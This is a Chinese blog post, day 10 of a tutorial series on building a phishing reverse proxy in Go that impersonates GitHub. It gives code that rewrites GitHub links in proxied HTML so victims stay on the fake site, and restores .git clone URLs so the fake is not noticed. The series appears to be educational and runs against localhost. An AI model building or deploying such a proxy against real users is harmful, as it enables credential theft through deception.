iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 10
3

今日目標

因為昨天發現左上角的 Github logo 會把使用者導回真正的 Github,打開 devtool 看到 https://github.com/ 是直接被寫死在 HTML 裡面的,所以今天要針對 HTML 檔替換網址

判斷回覆是不是 HTML 檔

因為我們的 reverse proxy 會轉發所有請求,包刮 HTML、圖片、動畫等等,但如果要針對所有請求都取代的話太花時間,所以就只針對 html 檔做取代

在每個 Github 回覆的 HTTP Header 裡面都有一個欄位叫做 Content-Type,負責描述這個內容是什麼 MIME 類型,像 HTML 檔的 MIME 就是 text/html、png 檔就是 image/png,所以可以介由 Content-Type 來判斷檔案類型

實作

先判斷是不是 html,然後取代裡面的 Github 網址,這樣受害者就會一直困在我們的 Phish Github

取得 http header

昨天有寫一個 sendReqToUpstream 負責發請求到 Upstream(Github)然後回傳 body,現在還需要 header 所以讓他同時回傳 body 跟 header

func sendReqToUpstream(req *http.Request) ([]byte, http.Header) {
    client := http.Client{}
    resp, err := client.Do(req)
	
    //...
  
    return respBody, resp.Header
}

取代網址

先判斷是不是 text/html 然後做取代

func replaceURLInResp(body []byte, header http.Header) []byte {
    // 判斷 Content-Type 是不是 text/html
    contentType := header.Get("Content-Type")
    isHTML := strings.Contains(contentType, "text/html")

    // 如果不是 HTML 就不取代
    if !isHTML {
        return body
    }

    // 把 https://github.com 取代為 http://localhost:8080
    // strings.Replace 最後一個參數是指最多取代幾個,-1 就是全部都取代
    bodyStr := string(body)
    bodyStr = strings.Replace(bodyStr, "https://github.com", "http://localhost:8080", -1)
    
    return []byte(bodyStr)
}

把取代後的 body 傳回瀏覽器

handler 部份先讓 body 經過 replaceURLInResp 再回傳給瀏覽器

func handler(w http.ResponseWriter, r *http.Request) {
    // ...
    
    // 取得 header
    body, header := sendReqToUpstream(req)
    
    // 取代後的 body
    body = replaceURLInResp(body, header)

    w.Write(body)
}

不小心取代到 git clone 的網址

因為 .git 的網址也是 https://github.com 開頭,所以會被取代成 localhost,這樣不能 clone 會被發現是假網站,所以要把網域再取代回 github

判斷是不是 git 網址

這邊要使用 Regular expression 判斷是不是 .git 網址,git 網址有兩個特徵:

  • 開頭都是 http://localhoat:8080
  • 結尾都是 .git

根據這兩個特徵寫出的 regular expression 是 http://localhost:8080(.*)\.git,中間的 (.*) 是任意字串的意思

Regular Expression 教學

取代

接下來就是把前面那一串開頭再取代回 https://github.com,這樣就大功告成了~

func replaceURLInResp(...) []body {
    // ...
 
    // 尋找符合 git 網址的特徵
    re, err := regexp.Compile(`http://localhost:8080(.*)\.git`)
    if err != nil {
        panic(err)
    }
    
    // 取代成 github 網址
    bodyStr = re.ReplaceAllString(bodyStr, `https://github.com$1.git`)
    
    return []byte(bodyStr)
}

抽出網域名

現在直接把網域名寫在扣裡面日後會很難修改,所以把他們獨立出來變成兩個常數,網址部分都換成這兩個常數這樣會乾淨許多,這部份很簡單就不貼詳細的程式碼了

const (
    upstreamURL = "https://github.com"
    phishURL    = "http://localhost:8080"
)

小結

今天講了如何從 HTTP header 中判斷是不是 HTML 還有取代網址,應該算滿簡單的,今天的程式碼分成 ebb805e7c2dd69 兩個 commit,有問題歡迎在下面留言,沒問題的話接下來就要開始做比較難的登入囉~


上一篇
Day09-基本功能:轉發請求
下一篇
Day11-Cookie & 登入 I(原理篇)
系列文
Go Phishing!30 天用 Go 實作 Reverse Proxy 之釣魚大作戰30

1 則留言

0
hbdoy
iT邦新手 5 級 ‧ 2018-10-25 19:44:42

這系列太有趣了 特地開電腦訂閱XDD

XD謝謝,我自己也覺得做這個很有趣,很樂在其中

我要留言

立即登入留言